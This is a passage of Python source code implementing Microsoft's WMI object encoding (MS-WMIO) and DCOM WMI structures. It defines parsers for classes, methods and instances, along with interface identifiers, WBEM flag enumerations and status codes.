the most significant bit always set \n        # (using little-endian binary encoding for the 32-bit value), so that the \n        # length is actually only 31 bits.\n        ('_HeapItem','_-HeapItem', 'self[\"HeapLength\"]&0x7fffffff'),\n        ('HeapItem', ':'),\n    )\n\n# 2.2.37 ClassHeap\nCLASS_HEAP = HEAP\n\n# 2.2.15 ClassPart\nclass CLASS_PART(Structure):\n    commonHdr = (\n        ('ClassHeader', ':', CLASS_HEADER),\n        ('DerivationList', ':', DERIVATION_LIST),\n        ('ClassQualifierSet', ':', CLASS_QUALIFIER_SET),\n        ('PropertyLookupTable', ':', PROPERTY_LOOKUP_TABLE),\n        ('_NdTable_ValueTable','_-NdTable_ValueTable', 'self[\"ClassHeader\"][\"NdTableValueTableLength\"]'),\n        ('NdTable_ValueTable',':'),\n        ('ClassHeap', ':', CLASS_HEAP),\n        ('_Garbage', '_-Garbage', 'self[\"ClassHeader\"][\"EncodingLength\"]-len(self)'),\n        ('Garbage', ':=b\"\"'),\n    )\n    def getQualifiers(self):\n        return self[\"ClassQualifierSet\"].getQualifiers(self[\"ClassHeap\"][\"HeapItem\"])\n\n    def getProperties(self):\n        heap = self[\"ClassHeap\"][\"HeapItem\"]\n        properties =  self[\"PropertyLookupTable\"].getProperties(self[\"ClassHeap\"][\"HeapItem\"])\n        sorted_props = sorted(list(properties.keys()), key=lambda k: properties[k]['order'])\n        valueTableOff = (len(properties) - 1) // 4 + 1\n        valueTable = self['NdTable_ValueTable'][valueTableOff:]\n        for key in sorted_props:\n            # Let's get the default Values\n            pType = properties[key]['type'] & (~(CIM_ARRAY_FLAG|Inherited))\n            if properties[key]['type'] & CIM_ARRAY_FLAG:\n                unpackStr = HEAPREF[:-2]\n            else:\n                unpackStr = CIM_TYPES_REF[pType][:-2]\n            dataSize = calcsize(unpackStr)\n            try:\n                itemValue = unpack(unpackStr, valueTable[:dataSize])[0]\n            except: \n                LOG.error(\"getProperties: Error unpacking!!\")\n                itemValue = 0xffffffff\n\n            if itemValue != 0xffffffff and itemValue > 0:\n                value = ENCODED_VALUE.getValue(properties[key]['type'], itemValue, heap)\n                properties[key]['value'] = \"%s\" % value\n            valueTable = valueTable[dataSize:]\n        return properties\n             \n# 2.2.39 MethodCount\nMETHOD_COUNT = '<H=0'\n\n# 2.2.40 MethodCountPadding\nMETHOD_COUNT_PADDING = '<H=0'\n\n# 2.2.42 MethodName\nMETHOD_NAME = HEAP_STRING_REF\n\n# 2.2.43 MethodFlags\nMETHOD_FLAGS = 'B=0'\n\n# 2.2.44 MethodPadding\nMETHOD_PADDING = \"3s=b''\"\n\n# 2.2.45 MethodOrigin\nMETHOD_ORIGIN = '<L=0'\n\n# 2.2.47 HeapQualifierSetRef\nHEAP_QUALIFIER_SET_REF = HEAPREF\n\n# 2.2.46 MethodQualifiers\nMETHOD_QUALIFIERS = HEAP_QUALIFIER_SET_REF\n\n# 2.2.51 HeapMethodSignatureBlockRef\nHEAP_METHOD_SIGNATURE_BLOCK_REF = HEAPREF\n\n# 2.2.50 MethodSignature\nMETHOD_SIGNATURE = HEAP_METHOD_SIGNATURE_BLOCK_REF\n\n# 2.2.48 InputSignature\nINPUT_SIGNATURE = METHOD_SIGNATURE\n\n# 2.2.49 OutputSignature\nOUTPUT_SIGNATURE = METHOD_SIGNATURE\n\n# 2.2.52 MethodHeap\nMETHOD_HEAP = HEAP\n\n# 2.2.41 MethodDescription\nclass METHOD_DESCRIPTION(Structure):\n    structure = (\n        ('MethodName',METHOD_NAME),\n        ('MethodFlags', METHOD_FLAGS),\n        ('MethodPadding', METHOD_PADDING),\n        ('MethodOrigin', METHOD_ORIGIN),\n        ('MethodQualifiers', METHOD_QUALIFIERS),\n        ('InputSignature', INPUT_SIGNATURE),\n        ('OutputSignature', OUTPUT_SIGNATURE),\n    )\n\n# 2.2.38 MethodsPart\nclass METHODS_PART(Structure):\n    MethodDescriptionSize = len(METHOD_DESCRIPTION())\n    structure = (\n        ('EncodingLength',ENCODING_LENGTH),\n        ('MethodCount', METHOD_COUNT),\n        ('MethodCountPadding', METHOD_COUNT_PADDING),\n        ('_MethodDescription', '_-MethodDescription', 'self[\"MethodCount\"]*self.MethodDescriptionSize'),\n        ('MethodDescription', ':'),\n        ('MethodHeap', ':', METHOD_HEAP),\n    )\n\n    def getMethods(self):\n        methods = OrderedDict()\n        data = self['MethodDescription']\n        heap = self['MethodHeap']['HeapItem']\n\n        for method in range(self['MethodCount']):\n            methodDict = OrderedDict()\n            itemn = METHOD_DESCRIPTION(data)\n            if itemn['MethodFlags'] & WBEM_FLAVOR_ORIGIN_PROPAGATED:\n               # ToDo\n               #print \"WBEM_FLAVOR_ORIGIN_PROPAGATED not yet supported!\"\n               #raise\n               pass\n            methodDict['name'] = ENCODED_STRING(heap[itemn['MethodName']:])['Character']\n            methodDict['origin'] = itemn['MethodOrigin']\n            if itemn['MethodQualifiers'] != 0xffffffff:\n                # There are qualifiers\n                qualifiersSet = QUALIFIER_SET(heap[itemn['MethodQualifiers']:])\n                qualifiers = qualifiersSet.getQualifiers(heap)\n                methodDict['qualifiers'] = qualifiers\n            if itemn['InputSignature'] != 0xffffffff:\n                inputSignature = METHOD_SIGNATURE_BLOCK(heap[itemn['InputSignature']:])\n                if inputSignature['EncodingLength'] > 0:\n                    methodDict['InParams'] = inputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties()\n                    methodDict['InParamsRaw'] = inputSignature['ObjectBlock']\n                    #print methodDict['InParams'] \n                else:\n                    methodDict['InParams'] = None\n            if itemn['OutputSignature'] != 0xffffffff:\n                outputSignature = METHOD_SIGNATURE_BLOCK(heap[itemn['OutputSignature']:])\n                if outputSignature['EncodingLength'] > 0:\n                    methodDict['OutParams'] = outputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties()\n                    methodDict['OutParamsRaw'] = outputSignature['ObjectBlock']\n                else:\n                    methodDict['OutParams'] = None\n            data = data[len(itemn):]\n            methods[methodDict['name']] = methodDict\n\n        return methods\n\n# 2.2.14 ClassAndMethodsPart\nclass CLASS_AND_METHODS_PART(Structure):\n    structure = (\n        ('ClassPart', ':', CLASS_PART),\n        ('MethodsPart', ':', METHODS_PART),\n    )\n\n    def getClassName(self):\n        pClassName = self['ClassPart']['ClassHeader']['ClassNameRef']\n        cHeap = self['ClassPart']['ClassHeap']['HeapItem']\n        if pClassName == 0xffffffff:\n            return 'None'\n        else:\n            buffer = cHeap[pClassName:]\n            if not buffer:\n                return ''\n            className = ENCODED_STRING(buffer)['Character']\n            derivationList = self['ClassPart']['DerivationList']['ClassNameEncoding']\n            while len(derivationList) > 0:\n                superClass = ENCODED_STRING(derivationList)['Character']\n                className += ' : %s ' % superClass\n                derivationList = derivationList[len(ENCODED_STRING(derivationList))+4:]\n            return className\n\n    def getQualifiers(self):\n        return self[\"ClassPart\"].getQualifiers()\n\n    def getProperties(self):\n        #print format_structure(self[\"ClassPart\"].getProperties())\n        return self[\"ClassPart\"].getProperties()\n\n    def getMethods(self):\n        return self[\"MethodsPart\"].getMethods()\n\n# 2.2.13 CurrentClass\nCURRENT_CLASS = CLASS_AND_METHODS_PART\n\n# 2.2.54 InstanceFlags\nINSTANCE_FLAGS = 'B=0'\n\n# 2.2.55 InstanceClassName\nINSTANCE_CLASS_NAME = HEAP_STRING_REF\n\n# 2.2.27 NullAndDefaultFlag\nNULL_AND_DEFAULT_FLAG = 'B=0'\n\n# 2.2.26 NdTable\nNDTABLE = NULL_AND_DEFAULT_FLAG\n\n# 2.2.56 InstanceData\n#InstanceData = ValueTable\n\nclass CURRENT_CLASS_NO_METHODS(CLASS_AND_METHODS_PART):\n    structure = (\n        ('ClassPart', ':', CLASS_PART),\n    )\n    def getMethods(self):\n        return ()\n\n# 2.2.65 InstancePropQualifierSet\nINST_PROP_QUAL_SET_FLAG = 'B=0'\nclass INSTANCE_PROP_QUALIFIER_SET(Structure):\n    commonHdr = (\n        ('InstPropQualSetFlag', INST_PROP_QUAL_SET_FLAG),\n    )\n    tail = (\n        # ToDo: this is wrong.. this should be an array of QualifierSet, see documentation\n        #('QualifierSet', ':', QualifierSet),\n        ('QualifierSet', ':', QUALIFIER_SET),\n    )\n\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        self.structure = ()\n        if data is not None:\n            # Let's first check the commonHdr\n            self.fromString(data)\n            if self['InstPropQualSetFlag'] == 2:\n                # We don't support this yet!\n                raise Exception(\"self['InstPropQualSetFlag'] == 2\")\n            self.fromString(data)\n        else:\n            self.data = None\n\n# 2.2.57 InstanceQualifierSet\nclass INSTANCE_QUALIFIER_SET(Structure):\n    structure = (\n        ('QualifierSet', ':', QUALIFIER_SET),\n        ('InstancePropQualifierSet', ':', INSTANCE_PROP_QUALIFIER_SET),\n    )\n\n# 2.2.58 InstanceHeap\nINSTANCE_HEAP = HEAP\n\n# 2.2.53 InstanceType\nclass INSTANCE_TYPE(Structure):\n    commonHdr = (\n        ('CurrentClass', ':', CURRENT_CLASS_NO_METHODS),\n        ('EncodingLength', ENCODING_LENGTH),\n        ('InstanceFlags', INSTANCE_FLAGS),\n        ('InstanceClassName', INSTANCE_CLASS_NAME),\n        ('_NdTable_ValueTable', '_-NdTable_ValueTable',\n         'self[\"CurrentClass\"][\"ClassPart\"][\"ClassHeader\"][\"NdTableValueTableLength\"]'),\n        ('NdTable_ValueTable',':'),\n        ('InstanceQualifierSet', ':', INSTANCE_QUALIFIER_SET),\n        ('InstanceHeap', ':', INSTANCE_HEAP),\n    )\n\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        self.structure = ()\n        if data is not None:\n            # Let's first check the commonHdr\n            self.fromString(data)\n            #hexdump(data[len(self.getData()):])\n            self.NdTableSize = (self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] - 1) //4 + 1\n            #self.InstanceDataSize = self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] * len(InstanceData())\n            self.fromString(data)\n        else:\n            self.data = None\n\n    def __processNdTable(self, properties):\n        octetCount = (len(properties) - 1) // 4 + 1  # see [MS-WMIO]: 2.2.26 NdTable\n        packedNdTable = self['NdTable_ValueTable'][:octetCount]\n        unpackedNdTable = [(byte >> shift) & 0b11 for byte in six.iterbytes(packedNdTable) for shift in (0, 2, 4, 6)]\n        for key in properties:\n            ndEntry = unpackedNdTable[properties[key]['order']]\n            properties[key]['null_default'] = bool(ndEntry & 0b01)\n            properties[key]['inherited_default'] = bool(ndEntry & 0b10)\n\n        return octetCount\n\n    @staticmethod\n    def __isNonNullNumber(prop):\n        return prop['type'] & ~Inherited in CIM_NUMBER_TYPES and not prop['null_default']\n\n    def getValues(self, properties):\n        heap = self[\"InstanceHeap\"][\"HeapItem\"]\n        valueTableOff = self.__processNdTable(properties)\n        valueTable = self['NdTable_ValueTable'][valueTableOff:]\n        sorted_props = sorted(list(properties.keys()), key=lambda k: properties[k]['order'])\n        for key in sorted_props:\n            pType = properties[key]['type'] & (~(CIM_ARRAY_FLAG|Inherited))\n            if properties[key]['type'] & CIM_ARRAY_FLAG:\n                unpackStr = HEAPREF[:-2]\n            else:\n                unpackStr = CIM_TYPES_REF[pType][:-2]\n            dataSize = calcsize(unpackStr)\n            try:\n                itemValue = unpack(unpackStr, valueTable[:dataSize])[0]\n            except:\n                LOG.error(\"getValues: Error Unpacking!\")\n                itemValue = 0xffffffff\n\n            # if itemValue == 0, default value remains\n            if itemValue != 0 or self.__isNonNullNumber(properties[key]):\n                value = ENCODED_VALUE.getValue( properties[key]['type'], itemValue, heap)\n                properties[key]['value'] = value\n            # is the value set valid or should we clear it? ( if not inherited )\n            elif properties[key]['inherited'] == 0:\n                properties[key]['value'] = None\n            valueTable = valueTable[dataSize:]\n        return properties\n\n# 2.2.12 ParentClass\nPARENT_CLASS = CLASS_AND_METHODS_PART\n\n# 2.2.13 CurrentClass\nCURRENT_CLASS = CLASS_AND_METHODS_PART\n\nclass CLASS_TYPE(Structure):\n    structure = (\n        ('ParentClass', ':', PARENT_CLASS),\n        ('CurrentClass', ':', CURRENT_CLASS),\n    )\n\n# 2.2.5 ObjectBlock\nclass OBJECT_BLOCK(Structure):\n    commonHdr = (\n        ('ObjectFlags', OBJECT_FLAGS),\n    )\n\n    decoration = (\n        ('Decoration', ':', DECORATION),\n    )\n\n    instanceType = (\n        ('InstanceType', ':', INSTANCE_TYPE),\n    )\n\n    classType = (\n        ('ClassType', ':', CLASS_TYPE),\n    )\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        self.ctParent  = None\n        self.ctCurrent = None\n\n        if data is not None:\n            self.structure = ()\n            if ord(data[0:1]) & 0x4:\n                # WMIO - 2.2.6 - 0x04 If this flag is set, the object has a Decoration block.\n                self.structure += self.decoration\n            if ord(data[0:1]) & 0x01:\n                # The object is a CIM class. \n                self.structure += self.classType\n            else:\n                self.structure += self.instanceType\n\n            self.fromString(data)\n        else:\n            self.data = None\n\n    def isInstance(self):\n        if self['ObjectFlags'] & CIM_CLASS:\n            return False\n        return True\n\n    def printClass(self, pClass, cInstance = None):\n        qualifiers = pClass.getQualifiers()\n\n        for qualifier in qualifiers:\n            print(\"[%s]\" % qualifier)\n\n        className = pClass.getClassName()\n\n        print(\"class %s \\n{\" % className)\n\n        properties = pClass.getProperties()\n        if cInstance is not None:\n            properties = cInstance.getValues(properties)\n\n        for pName in properties:\n            #if property['inherited'] == 0:\n                qualifiers = properties[pName]['qualifiers']\n                for qName in qualifiers:\n                    if qName != 'CIMTYPE':\n                        print('\\t[%s(%s)]' % (qName, qualifiers[qName]))\n                print(\"\\t%s %s\" % (properties[pName]['stype'], properties[pName]['name']), end=' ')\n                if properties[pName]['value'] is not None:\n                    cimType = properties[pName]['type'] & (~Inherited)\n                    if cimType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:\n                        print('= IWbemClassObject\\n')\n                    elif cimType == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value:\n                        if properties[pName]['value'] == 0:\n                            print('= %s\\n' % properties[pName]['value'])\n                        else:\n                            print('= %s\\n' % list('IWbemClassObject' for _ in range(len(properties[pName]['value']))))\n                    else:\n                        print('= %s\\n' % properties[pName]['value'])\n                else:\n                    print('\\n')\n\n        print() \n        methods = pClass.getMethods()\n        for methodName in methods:\n            for qualifier in methods[methodName]['qualifiers']:\n                print('\\t[%s]' % qualifier)\n\n            if methods[methodName]['InParams'] is None and methods[methodName]['OutParams'] is None: \n                print('\\t%s %s();\\n' % ('void', methodName))\n            if methods[methodName]['InParams'] is None and len(methods[methodName]['OutParams']) == 1:\n                print('\\t%s %s();\\n' % (methods[methodName]['OutParams']['ReturnValue']['stype'], methodName))\n            else:\n                returnValue = b''\n                if methods[methodName]['OutParams'] is not None:\n                    # Search the Return Value\n                    #returnValue = (item for item in method['OutParams'] if item[\"name\"] == \"ReturnValue\").next()\n                    if 'ReturnValue' in methods[methodName]['OutParams']:\n                        returnValue = methods[methodName]['OutParams']['ReturnValue']['stype']\n \n                print('\\t%s %s(\\n' % (returnValue, methodName), end=' ')\n                if methods[methodName]['InParams'] is not None:\n                    for pName  in methods[methodName]['InParams']:\n                        print('\\t\\t[in]    %s %s,' % (methods[methodName]['InParams'][pName]['stype'], pName))\n\n                if methods[methodName]['OutParams'] is not None:\n                    for pName in methods[methodName]['OutParams']:\n                        if pName != 'ReturnValue':\n                            print('\\t\\t[out]    %s %s,' % (methods[methodName]['OutParams'][pName]['stype'], pName))\n\n                print('\\t);\\n')\n\n        print(\"}\")\n\n    def parseClass(self, pClass, cInstance = None):\n        classDict = OrderedDict()\n        classDict['name'] = pClass.getClassName()\n        classDict['qualifiers'] = pClass.getQualifiers()\n        classDict['properties'] = pClass.getProperties()\n        classDict['methods'] = pClass.getMethods()\n        if cInstance is not None:\n            classDict['values'] = cInstance.getValues(classDict['properties'])\n        else:\n            classDict['values'] = None\n\n        return classDict\n\n    def parseObject(self):\n        if (self['ObjectFlags'] & CIM_CLASS) == 0:\n            # instance\n            ctCurrent = self['InstanceType']['CurrentClass']\n            currentName = ctCurrent.getClassName()\n            if currentName is not None:\n                self.ctCurrent = self.parseClass(ctCurrent, self['InstanceType'])\n            return\n        else: \n            ctParent = self['ClassType']['ParentClass']\n            ctCurrent = self['ClassType']['CurrentClass']\n\n            parentName = ctParent.getClassName()\n            if parentName is not None:\n                self.ctParent = self.parseClass(ctParent)\n\n            currentName = ctCurrent.getClassName()\n            if currentName is not None:\n                self.ctCurrent = self.parseClass(ctCurrent)\n\n    def printInformation(self):\n        # First off, do we have a class?\n        if (self['ObjectFlags'] & CIM_CLASS) == 0:\n            # instance\n            ctCurrent = self['InstanceType']['CurrentClass']\n            currentName = ctCurrent.getClassName()\n            if currentName is not None:\n                self.printClass(ctCurrent, self['InstanceType'])\n            return\n        else: \n            ctParent = self['ClassType']['ParentClass']\n            ctCurrent = self['ClassType']['CurrentClass']\n\n            parentName = ctParent.getClassName()\n            if parentName is not None:\n                self.printClass(ctParent)\n\n            currentName = ctCurrent.getClassName()\n            if currentName is not None:\n                self.printClass(ctCurrent)\n\n# 2.2.70 MethodSignatureBlock\nclass METHOD_SIGNATURE_BLOCK(Structure):\n    commonHdr = (\n        ('EncodingLength', ENCODING_LENGTH),\n    )\n    tail = (\n        ('_ObjectBlock', '_-ObjectBlock', 'self[\"EncodingLength\"]'),\n        ('ObjectBlock', ':', OBJECT_BLOCK),\n    )\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        if data is not None:\n            self.fromString(data)\n            if self['EncodingLength'] > 0:\n                self.structure = ()\n                self.structure += self.tail\n            self.fromString(data)\n        else:\n            self.data = None\n\n# 2.2.1 EncodingUnit\nclass ENCODING_UNIT(Structure):\n    structure = (\n        ('Signature', SIGNATURE),\n        ('ObjectEncodingLength', OBJECT_ENCODING_LENGTH),\n        ('_ObjectBlock', '_-ObjectBlock', 'self[\"ObjectEncodingLength\"]'),\n        ('ObjectBlock', ':', OBJECT_BLOCK),\n    )\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 1.9 Standards Assignments\nCLSID_WbemLevel1Login     = string_to_bin('8BC3F05E-D86B-11D0-A075-00C04FB68820')\nCLSID_WbemBackupRestore   = string_to_bin('C49E32C6-BC8B-11D2-85D4-00105A1F8304')\nCLSID_WbemClassObject     = string_to_bin('4590F812-1D3A-11D0-891F-00AA004B2E24')\n\nIID_IWbemLevel1Login      = uuidtup_to_bin(('F309AD18-D86A-11d0-A075-00C04FB68820', '0.0'))\nIID_IWbemLoginClientID    = uuidtup_to_bin(('d4781cd6-e5d3-44df-ad94-930efe48a887', '0.0'))\nIID_IWbemLoginHelper      = uuidtup_to_bin(('541679AB-2E5F-11d3-B34E-00104BCC4B4A', '0.0'))\nIID_IWbemServices         = uuidtup_to_bin(('9556DC99-828C-11CF-A37E-00AA003240C7', '0.0'))\nIID_IWbemBackupRestore    = uuidtup_to_bin(('C49E32C7-BC8B-11d2-85D4-00105A1F8304', '0.0'))\nIID_IWbemBackupRestoreEx  = uuidtup_to_bin(('A359DEC5-E813-4834-8A2A-BA7F1D777D76', '0.0'))\nIID_IWbemClassObject      = uuidtup_to_bin(('DC12A681-737F-11CF-884D-00AA004B2E24', '0.0'))\nIID_IWbemContext          = uuidtup_to_bin(('44aca674-e8fc-11d0-a07c-00c04fb68820', '0.0'))\nIID_IEnumWbemClassObject  = uuidtup_to_bin(('027947e1-d731-11ce-a357-000000000001', '0.0'))\nIID_IWbemCallResult       = uuidtup_to_bin(('44aca675-e8fc-11d0-a07c-00c04fb68820', '0.0'))\nIID_IWbemFetchSmartEnum   = uuidtup_to_bin(('1C1C45EE-4395-11d2-B60B-00104B703EFD', '0.0'))\nIID_IWbemWCOSmartEnum     = uuidtup_to_bin(('423EC01E-2E35-11d2-B604-00104B703EFD', '0.0'))\n\nerror_status_t = ULONG\n\n# lFlags\nWBEM_FLAG_RETURN_WBEM_COMPLETE          = 0x00000000\nWBEM_FLAG_UPDATE_ONLY                   = 0x00000001\nWBEM_FLAG_CREATE_ONLY                   = 0x00000002\nWBEM_FLAG_RETURN_IMMEDIATELY            = 0x00000010\nWBEM_FLAG_UPDATE_SAFE_MODE              = 0x00000020\nWBEM_FLAG_FORWARD_ONLY                  = 0x00000020\nWBEM_FLAG_NO_ERROR_OBJECT               = 0x00000040\nWBEM_FLAG_UPDATE_FORCE_MODE             = 0x00000040\nWBEM_FLAG_SEND_STATUS                   = 0x00000080\nWBEM_FLAG_ENSURE_LOCATABLE              = 0x00000100\nWBEM_FLAG_DIRECT_READ                   = 0x00000200\nWBEM_MASK_RESERVED_FLAGS                = 0x0001F000\nWBEM_FLAG_USE_AMENDED_QUALIFIERS        = 0x00020000\nWBEM_FLAG_STRONG_VALIDATION             = 0x00100000\nWBEM_FLAG_BACKUP_RESTORE_FORCE_SHUTDOWN = 0x00000001\n\nWBEM_INFINITE = 0xffffffff\n\n################################################################################\n# STRUCTURES\n################################################################################\nclass UCHAR_ARRAY_CV(NDRUniConformantVaryingArray):\n    item = 'c'\n\nclass PUCHAR_ARRAY_CV(NDRPOINTER):\n    referent = (\n        ('Data', UCHAR_ARRAY_CV),\n    )\n\nclass PMInterfacePointer_ARRAY_CV(NDRUniConformantVaryingArray):\n    item = PMInterfacePointer\n\nREFGUID = PGUID\n\nclass ULONG_ARRAY(NDRUniConformantArray):\n    item = ULONG\n\nclass PULONG_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', ULONG_ARRAY),\n    )\n\n# 2.2.5 WBEM_CHANGE_FLAG_TYPE Enumeration\nclass WBEM_CHANGE_FLAG_TYPE(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        WBEM_FLAG_CREATE_OR_UPDATE  = 0x00\n        WBEM_FLAG_UPDATE_ONLY       = 0x01\n        WBEM_FLAG_CREATE_ONLY       = 0x02\n        WBEM_FLAG_UPDATE_SAFE_MODE  = 0x20\n        WBEM_FLAG_UPDATE_FORCE_MODE = 0x40\n\n# 2.2.6 WBEM_GENERIC_FLAG_TYPE Enumeration\nclass WBEM_GENERIC_FLAG_TYPE(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        WBEM_FLAG_RETURN_WBEM_COMPLETE   = 0x00\n        WBEM_FLAG_RETURN_IMMEDIATELY     = 0x10\n        WBEM_FLAG_FORWARD_ONLY           = 0x20\n        WBEM_FLAG_NO_ERROR_OBJECT        = 0x40\n        WBEM_FLAG_SEND_STATUS            = 0x80\n        WBEM_FLAG_ENSURE_LOCATABLE       = 0x100\n        WBEM_FLAG_DIRECT_READ            = 0x200\n        WBEM_MASK_RESERVED_FLAGS         = 0x1F000\n        WBEM_FLAG_USE_AMENDED_QUALIFIERS = 0x20000\n        WBEM_FLAG_STRONG_VALIDATION      = 0x100000\n\n# 2.2.7 WBEM_STATUS_TYPE Enumeration\nclass WBEM_STATUS_TYPE(NDRENUM):\n    class enumItems(Enum):\n        WBEM_STATUS_COMPLETE     = 0x00\n        WBEM_STATUS_REQUIREMENTS = 0x01\n        WBEM_STATUS_PROGRESS     = 0x02\n\n# 2.2.8 WBEM_TIMEOUT_TYPE Enumeration\nclass WBEM_TIMEOUT_TYPE(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        WBEM_NO_WAIT  = 0x00000000\n        WBEM_INFINITE = 0xFFFFFFFF\n\n# 2.2.9 WBEM_QUERY_FLAG_TYPE Enumeration\nclass WBEM_QUERY_FLAG_TYPE(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        WBEM_FLAG_DEEP      = 0x00000000\n        WBEM_FLAG_SHALLOW   = 0x00000001\n        WBEM_FLAG_PROTOTYPE = 0x00000002\n\n# 2.2.10 WBEM_BACKUP_RESTORE_FLAGS Enumeration\nclass WBEM_BACKUP_RESTORE_FLAGS(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        WBEM_FLAG_BACKUP_RESTORE_FORCE_SHUTDOWN = 0x00000001\n\n# 2.2.11 WBEMSTATUS Enumeration\nclass WBEMSTATUS(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        WBEM_S_NO_ERROR                      = 0x00000000\n        WBEM_S_FALSE                         = 0x00000001\n        WBEM_S_TIMEDOUT                      = 0x00040004\n        WBEM_S_NEW_STYLE                     = 0x000400FF\n        WBEM_S_PARTIAL_RESULTS               = 0x00040010\n        WBEM_E_FAILED                        = 0x80041001\n        WBEM_E_NOT_FOUND                     = 0x80041002\n        WBEM_E_ACCESS_DENIED                 = 0x80041003\n        WBEM_E_PROVIDER_FAILURE              = 0x80041004\n        WBEM_E_TYPE_MISMATCH                 = 0x80041005\n        WBEM_E_OUT_OF_MEMORY                 = 0x80041006\n        WBEM_E_INVALID_CONTEXT               = 0x80041007\n        WBEM_E_INVALID_PARAMETER             = 0x80041008\n        WBEM_E_NOT_AVAILABLE                 = 0x80041009\n        WBEM_E_CRITICAL_ERROR                = 0x8004100a\n        WBEM_E_NOT_SUPPORTED                 = 0x8004100c\n        WBEM_E_PROVIDER_NOT_FOUND            = 0x80041011\n        WBEM_E_INVALID_PROVIDER_REGISTRATION = 0x80041012\n        WBEM_E_PROVIDER_LOAD_FAILURE         = 0x80041013\n        WBEM_E_INITIALIZATION_FAILURE        = 0x80041014\n        WBEM_E_TRANSPORT_FAILURE             = 0x80041015\n        WBEM_E_INVALID_OPERATION             = 0x80041016\n        WBEM_E_ALREADY_EXISTS                = 0x80041019\n        WBEM_E_UNEXPECTED                    = 0x8004101d\n        WBEM_E_INCOMPLETE_CLASS              = 0x80041020\n        WBEM_E_SHUTTING_DOWN                 = 0x80041033\n        E_NOTIMPL                            = 0x80004001\n        WBEM_E_INVALID_SUPERCLASS            = 0x8004100D\n        WBEM_E_INVALID_NAMESPACE             = 0x8004100E\n        WBEM_E_INVALID_OBJECT                = 0x8004100F\n        WBEM_E_INVALID_CLASS                 = 0x80041010\n        WBEM_E_INVALID_QUERY                 = 0x80041017\n        WBEM_E_INVALID_QUERY_TYPE            = 0x80041018\n        WBEM_E_PROVIDER_NOT_CAPABLE          = 0x80041024\n        WBEM_E_CLASS_HAS_CHILDREN            = 0x80041025\n        WBEM_E_CLASS_HAS_INSTANCES           = 0x80041026\n        WBEM_E_ILLEGAL_NULL                  = 0x80041028\n        WBEM_E_INVALID_CIM_TYPE              = 0x8004102D\n        WBEM_E_INVALID_METHOD                = 0x8004102E\n        WBEM_E_INVALID_METHOD_PARAMETERS     = 0x8004102F\n        WBEM_E_INVALID_PROPERTY              = 0x80041031\n        WBEM_E_CALL_CANCELLED                = 0x80041032\n        WBEM_E_INVALID_OBJECT_PATH           = 0x8004103A\n        WBEM_E_OUT_OF_DISK_SPACE             = 0x8004103B\n        WBEM_E_UNSUPPORTED_PUT_EXTENSION     = 0x8004103D\n        WBEM_E_QUOTA_VIOLATION               = 0x8004106c\n        WBEM_E_SERVER_TOO_BUSY               = 0x80041045\n        WBEM_E_METHOD_NOT_IMPLEMENTED        = 0x80041055\n        WBEM_E_METHOD_DISABLED               = 0x80041056\n        WBEM_E_UNPARSABLE_QUERY              = 0x80041058\n        WBEM_E_NOT_EVENT_CLASS               = 0x80041059\n        WBEM_E_MISSING_GROUP_WITHIN          = 0x8004105A\n        WBEM_E_MISSING_AGGREGATION_LIST      = 0x8004105B\n        WBEM_E_PROPERTY_NOT_AN_OBJECT        = 0x8004105c\n        WBEM_E_AGGREGATING_BY_OBJECT         = 0x8004105d\n        WBEM_E_BACKUP_RESTORE_WINMGMT_RUNNING= 0x80041060\n        WBEM_E_QUEUE_OVERFLOW                = 0x80041061\n        WBEM_E_PRIVILEGE_NOT_HELD            = 0x80041062\n        WBEM_E_INVALID_OPERATOR              = 0x80041063\n        WBEM_E_CANNOT_BE_ABSTRACT            = 0x80041065\n        WBEM_E_AMENDED_OBJECT                = 0x80041066\n        WBEM_E_VETO_PUT                      = 0x8004107A\n        WBEM_E_PROVIDER_SUSPENDED            = 0x80041081\n        WBEM_E_ENCRYPTED_CONNECTION_REQUIRED = 0x80041087\n        WBEM_E_PROVIDER_TIMED_OUT            = 0x80041088\n        WBEM_E_NO_KEY                        = 0x80041089\n        WBEM_E_PROVIDER_DISABLED             = 0x8004108a\n        WBEM_E_REGISTRATION_TOO_BROAD        = 0x80042001\n        WBEM_E_REGISTRATION_TOO_PRECISE      = 0x80042002\n\n# 2.2.12 WBEM_CONNECT_OPTIONS Enumeration\nclass WBEM_CONNECT_OPTIONS(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        WBEM_FLAG_CONNECT_REPOSITORY_ONLY = 0x40\n        WBEM_FLAG_CONNECT_PROVIDERS       = 0x100\n\n# 2.2.14 ObjectArray Structure\nclass ObjectArray(Structure):\n    structure = (\n        ('dwByteOrdering', '<L=0'),\n        ('abSignature', '8s=\"WBEMDATA\"'),\n        ('dwSizeOfHeader1', '<L=0x1a'),\n        ('dwDataSize1', '<L=0'),\n        ('dwFlags', '<L=0'),\n        ('bVersion', 'B=1'),\n        ('bPacketType', 'B=0'),\n        ('dwSizeOfHeader2', '<L=8'),\n        ('dwDataSize2', '<L', 'len(self[\"wbemObjects\"])+12'),\n        ('dwSizeOfHeader3', '<L=12'),\n        ('dwDataSize3', '<L', 'len(self[\"dwDataSize2\"])-12)'),\n        ('dwNumObjects', '<L=0'),\n        ('_wbemObjects', 